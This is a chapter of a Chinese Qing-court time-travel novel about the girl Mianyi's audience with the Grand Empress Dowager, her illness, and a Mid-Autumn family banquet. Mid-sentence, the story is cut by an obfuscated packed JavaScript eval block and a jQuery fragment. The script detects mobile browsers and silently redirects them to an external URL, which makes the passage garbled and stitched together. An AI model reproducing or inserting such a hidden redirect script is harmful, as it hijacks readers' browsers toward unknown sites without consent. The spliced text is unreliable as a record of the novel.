6. 第6章

作品:《八福晋起居注(清穿)

    晴芳跟着继福晋接着朝前走,见四下没人,悄悄道:“宜妃这话说的倒热络。”


    继福晋摇了摇头,没说什么。


    桃红说的这些话虽是场面话,但叫她看来也有一二分真心。


    宜妃出身说高不高,说低也不低,在后妃中属于中等水准。她阿玛三官保原是正黄旗包衣佐领,因着女儿受宠连生三个阿哥,全族才抬进镶黄旗。


    镶黄旗乃是上三旗之首,可见宜妃荣宠在后妃中当属翘楚。


    不过宜妃家中倒没见什么能干的兄弟,几位皇子年岁渐长,宜妃为他们谋划起来,想培植些自己的势力也属常理。


    正巧她与明尚是族兄妹,能借机同安王府维持一个良好的关系,至少是百利而无一害。


    继福晋悠悠叹了口气,这后宫中的女人当真是走一步看十步,有儿子的看得更远。


    虽说胤礽一出生就被立为太子,可康熙年富力强,生儿子的速度堪比坐了火箭,如今已有十好几个儿子了。


    等到太子继位时,后头的弟弟都能排好几排了,难保其中没有异心的。下能否弹压住这群人中龙凤的兄弟们,上能否让康熙始终如一地信任自己,才是太子的难题。


    宜妃的三个儿子里,五阿哥由太后带大,本就和宜妃不大亲近,还让康熙头疼得不行。


    五阿哥满口的蒙古话,满语和汉语都磕磕巴巴的,开蒙许久了还跟不上其他几位阿哥,引得康熙天天将五阿哥的汉学夫子揪到乾清宫去责问。


    九阿哥年岁不大但却能说会道,性子也果决,宜妃更喜爱九阿哥也不是没道理的事。


    十一阿哥还小,身子较前两个哥哥要弱不少,让宜妃有些担忧,时常叫太医过去诊脉。


    “婶婶来了怎的不进去?”裕亲王福晋西鲁克氏向继福晋福了福身子,她也是被自家王爷遣进宫来看太皇太后的。


    继福晋拍了拍西鲁克氏的手,“咱们一道进去,你这些时日可还好?”


    西鲁克氏强撑着内心的疲惫,随口应酬了两句。


    她当真羡慕继福晋,嫁给安王爷一连生了四个儿子,个个都活到成年。而她拼死生了一子二女,却都幼年早殇。宫里派太医来瞧过,说是母体受损,往后再难有孕了。


    太医说话最是保守,西鲁克氏听了这话基本上也死了再有孩子的心。


    裕亲王的爵八九不离十要由庶长子袭承,她心里颇不是滋味。


    几人一道往里走,两个小宫女在正殿前守着,见继福晋和西鲁克氏来了,便朝里头喊:“安亲王福晋和裕亲王福晋来了。”


    苏麻喇姑从后头出来迎接:“二位福晋且等等,太皇太后正在更衣。”


    继福晋笑笑说:“倒是我们惊扰娘娘了。”


    苏麻喇姑看向继福晋身后的绵宜,“这是安王府哪位格格?”


    继福晋:“是咱们安王府的大格格,舒伦和明尚的闺女,如今养在王府里。”


    苏麻喇姑恍然大悟,又问了些不打紧的事,不过片刻太皇太后便由宫女扶着出来了。


    太皇太后身穿石青绣团龙凤纹朝褂,内衬赭黄万福万寿锦袍,端坐在座上,瞧着有些大病初愈的倦容。她年逾古稀,目光却仍坚定有力。


    苏麻喇姑站在太皇太后身边,指挥小宫女们上茶和各色果饵。


    继福晋和西鲁克氏恭恭敬敬地向太皇太后请了安,随即各坐两边下首。


    太皇太后年纪上来了,瞧见小辈便有几分亲近之意,招手让奶嬷嬷把绵宜抱上前来。


    绵宜内心有些忐忑,她还是头一遭见到这宫里头的除了康熙以外的头号人物。


    她心中好奇,忍不住想看太皇太后,又害怕失礼连累安王府和继福晋受罚。这副样子落在太皇太后眼里,却觉得分外生动有趣。


    苏麻喇姑凑近太皇太后耳语了几句,太皇太后随即笑着问道:“几岁了?”


    绵宜壮着胆子答道:“回太皇太后的话,快五岁了。”


    太皇太后见她口齿清晰,也不胆怯,心中本就喜欢,再加上当年皇上处置明尚那事本就有些对不住安王府,便更加和颜悦色了。


    绵宜下意识地转头看向继福晋,见她眼神中带着鼓励,便知自己行事无误,更加放松了些。


    太皇太后又问了些旁的,才让奶嬷嬷将绵宜抱下去,转而同西鲁克氏说起话来。


    绵宜还有些晕晕乎乎的,这就结束了?


    不过好像除了问些简单的问题,例如几岁了、爱吃什么、在王府好不好之类的,旁的也有些超出几岁小孩的智力范围。


    直到被抱出宫,绵宜都一直处在神游的状态。


    上了马车,晴芳笑着打趣:“大格格瞧着是累了,今日都没功夫闹腾了。”


    继福晋和蔼地看了一眼绵宜,“别说她了,我进宫一趟再回府都懒得动弹。”


    几人一路无话回了王府。


    珊瑚老早就等在门口准备接绵宜。


    绵宜进宫一趟,乌福晋嘴上不说,内心挂心得很,念经的时候都难静心。


    继福晋也知乌福晋的心思,并不多留绵宜,爽快地让她带着绵宜回去了。


    乌福晋千盼万盼可算把绵宜盼了回来,但见了她一肚子的话也顾不上问了,只管叫人烧水传膳。


    绵宜被当成年猪,里里外外洗了个干净后,又被冬雨喂了不少饭,嘴里塞得满满当当地嘟囔道:“玛玛,吃不下了。”


    乌福晋深深看了绵宜一眼,叹了口气,又回去念佛经了。


    绵宜一脸懵,这……这是怎么了?


    乌福晋难不成因为自己不吃饭生气了?


    眼见乌福晋已然一头扎进佛海中,旁人怎么喊都不搭理的,绵宜只好自己窝在小床上思考人生。


    今日过了太皇太后这一关,来日还有皇上那一关要过。


    不过想来那么乌泱泱的一群人呼啦啦地跪下,皇上也不会对她一个小格格特别关注。


    这般提心吊胆着到了中秋节那一日,绵宜好巧不巧地染了风寒,病倒了。


    佟佳氏表面上关切,背地里同李嬷嬷说绵宜接不住龙恩,到了要面圣的时候就生病,上不得大场面。


    乌福晋见宝贝疙瘩生病了,也没了去赴宴的心思,只想留在府里照看绵宜。


    继福晋劝住了她:“府里这么多奴才还照看不了她一个?你只管放心去,别惹得王爷不高兴。”


    乌福晋只好点点头。


    于是绵宜目送了她两个小姐妹吉兰和珠兰被打扮的像福娃一样,跟在贾佳氏后头离去,随即翻身在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309933|198786||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    床上看起了连环画。


    珊瑚端来一碗药汁子给绵宜,“格格快喝药吧,仔细福晋回来责罚。”


    绵宜皱着眉头,“太苦了,不喝。”


    珊瑚满脸的为难,大格格年纪小小却颇有主见,一般人说话压根不听,该怎么劝她喝药倒是一桩头疼事。


    她循循善诱道:“这药汁子里加了甘草,不苦,格格捏着鼻子喝了吧。”


    绵宜看了珊瑚一眼,虽然她身体是几岁小孩,心理却不是,哪有那么好骗。


    珊瑚摸了摸鼻子,想起绵宜之前嚷着要吃糖芋艿,妥协道:“格格喝了药,奴才就去大厨房叫吴太监做糖芋艿。”


    绵宜觉着这个交换条件不错,小手一挥,淡定道:“拿来。”


    珊瑚满脸钦佩地看着绵宜一股脑地将药喝干净,心中忍不住赞叹道:她家格格这魄力,长大了还了得!


    绵宜喝完药,快快活活地吃完了吴太监做的糖芋艿,便由珊瑚和福嬷嬷陪着在床上抓子儿。


    几人在屋子里玩得不亦乐乎,倒显临走前的乌福晋有些忧虑过头。


    安王爷辈分高,领着一大家子率先向座上的三位主子请安。


    乌泱泱地一群人跪下磕头,康熙点点头,太皇太后点点头,太后也点点头,梁九功才高声叫起。


    胤礽坐在最靠前的位置,看了继福晋好几眼,毕竟继福晋是他的姑祖母,血浓于水的亲情。


    再加上自打索尼去世后,赫舍里一族在朝中威望不比从前,前两年索额图又因管束兄弟不力,官职被一撸到底。


    母族如此,再加上大阿哥和后头几个弟弟给的压力,太子一时间有些焦心。


    看到安王爷一家子,太子心里稍稍平静了些。至少宗室这些老少爷们目前看来还是极为拥护自己的。


    乌福晋站在中间,丝毫不引人注目,规规矩矩地行了礼,跟着大部队撤了下来。


    她坐在桌前一言不发地吃着面前的饭菜,偶有从前相熟的几家侧福晋眼神交汇在空中,乌福晋也点头示意。


    吉兰和珠兰两个小的在人多的地方不大习惯,又因双胞胎姐妹连心,一个不大舒服另一个也跟着哭闹,叫贾佳氏让奶嬷嬷带到一边去了。


    乌福晋瞧见吉兰哭得泪珠挂在腮边的可怜相,又想起来绵宜。


    她悄悄地问冬雨:“府里没什么要紧的事吧?”


    冬雨摇摇头。


    乌福晋有些怅然地“哦”了一声,冬雨见她垂着脑袋,心中还纳闷:府里没坏消息传来不是件好事吗?


    乌福晋倒没想旁的,只是心中有些小失落,颇有种孩子突然长大了,已经不需要大人了的感觉。


    后头就是各皇子争相给康熙祝酒,乌福晋没仔细看。一是隔得老远,除了头几个大些的皇阿哥,后头几个都跟小萝卜似的,看不清;二是这也就是皇上把他这些年的教育成果集中在亲朋好友面前展示一番的场面,和她无关,左耳朵进右耳朵出就行。


    胡思乱想着,中秋家宴总算是过了。


    乌福晋归心似箭,回到屋子里一看,绵宜玩得小脸红扑扑地趴着睡着了,桌上还摆着吃过糖芋艿的两只大碗。


    看着绵宜头发乱得像包小草,乌福晋恨恨地拽过她,在小屁股上轻轻拍了几巴掌。